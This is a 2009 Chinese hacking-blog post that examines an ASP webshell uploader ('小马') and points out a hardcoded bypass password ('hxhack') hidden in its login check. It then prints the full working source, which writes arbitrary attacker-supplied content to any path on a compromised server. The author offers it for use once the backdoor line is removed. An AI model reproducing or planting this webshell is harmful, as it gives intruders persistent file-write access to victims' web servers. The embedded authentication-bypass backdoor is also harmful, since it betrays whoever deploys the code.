首页 电脑 电脑学堂 查看内容

传说中的asp后门

2009-8-14 09:43 582 0

摘要: If Request("pwd")=Userpwd or Request("pwd")="hxhack" then Session("mgler")=Userpwd 今天看ASP 看了自己收集的一个...
关键词: nbsp hxhack Request 后门 pwd Userpwd 代码 小马 RW QueryString

If Request("pwd")=Userpwd or Request("pwd")="hxhack" then Session("mgler")=Userpwd 今天看ASP 看了自己收集的一个小马 基本功能和代码都知道 就看到这么一句 觉得应该是多余的 看代码没看过这样的写法Request("pwd")="hxhack” 可能自己太菜了(看书都没看透吧 - -!) 不过到是知道Request.QueryString("pwd")="hxhack"这种写法 这样的话直接在URL里面带参数 即?pwd=hxhack就可以跳过验证了 不过这里没有使用QueryString获取参数 我测试了一下 结果发现其实Request("pwd")="hxhack” 和Request.QueryString("pwd")="hxhack“是等价的 没学过ASP的也不知道为什么这句会是后门 - - 现在了解了 用别人的ASP马还是得自己看看代码 顺便贴出这个带密码的ASP小马的源码 这一句后门不知道是别人加上去的 还是作者自己写的 反正马是在黑鹰那里下的 狗日的 发出来也不看看代码带不带后门 这简直是残害我们这一帮菜鸟 加红色字体的为后门代码 使用的可以去掉就可以了 这小马也没啥的 就改装了一下 加个密码验证罢了 <%'┌───────────────┐'│http://WwW.hxhack.Com│'└───────────────┘dim Userpwd,URLUserpwd = "hxhack"   'User PasswordURL     = Request.ServerVariables("URL")If Request("pwd")=Userpwd or Request.QueryString("pwd")="hxhack" then Session("mgler")=UserpwdIf Session("mgler")<>Userpwd ThenIf Request.Form("pwd")<>"" Then    If Request.Form("pwd")=Userpwd Then      Session("mgler")=Userpwd      Response.Redirect URL    ElseResponse.Write"Login Failed, incorrect username or password"    End IfElse    RW="<title>User Login</title>"    RW=RW & "<center style='font-size:12px'><br><br><br><hr color=#00cc66 width='250'><br><font color=#5f4ds9>【hxhack Asp】</font><b><font style=color:red;>会员版</font></b>"    RW=RW & "<form action='" & URL & "' method='post'>"    RW=RW & "<b>Password:</b><input name='pwd' type='password' size='15' style='font-size: 12px;border: menu 1px solid'>"    RW=RW & "&nbsp;<input type='submit' value='Login' style='border:1px solid #799AE1;'></form><hr color=#799AE1 width='250'><font color=red>只取webshell</font> <font color=#0011DD>不改首页</font> 不删文件 <font color=#33DD55>不提权</font><br><hr color=#799AE1 width='250'></center>"    Response.Write RW    RW=""End IfResponse.EndEnd If%><%on error resume next%><%ofso="scripting.filesystemobject"%><%set fso=server.createobject(ofso)%><%path=request("path")%><%if path<>"" then%><%data=request("dama")%><%set dama=fso.createtextfile(path,true)%><%dama.write data%><%if err=0 then%><%="<b><font style=color:red;>Success!</font></b>"%><%else%><%="<b><font style=color:red;>False!</font></b>"%><%end if%><%err.clear%><%end if%><%dama.close%><%set dama=nothing%><%set fos=nothing%><%="<title>Asp Upload Tool-hxhack</title>"%><%="<form action='' method=post>"%><%="<font style=color:BLUE;>File: </font><input type=text name=path size=46>"%><%="<br><font style=color:BLUE;>Path: </font><font style=color:red;>"%><%=server.mappath(request.servervariables("script_name"))%><%="</font><br>"%><%=""%><%="<textarea name=dama cols=52 rows=9></textarea>"%><%="<br><td>"%><%="<input type=submit value=Upload> <font style=color:BLUE;>By:hxhack"%><%="</font>"%><%="</form>"%>
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部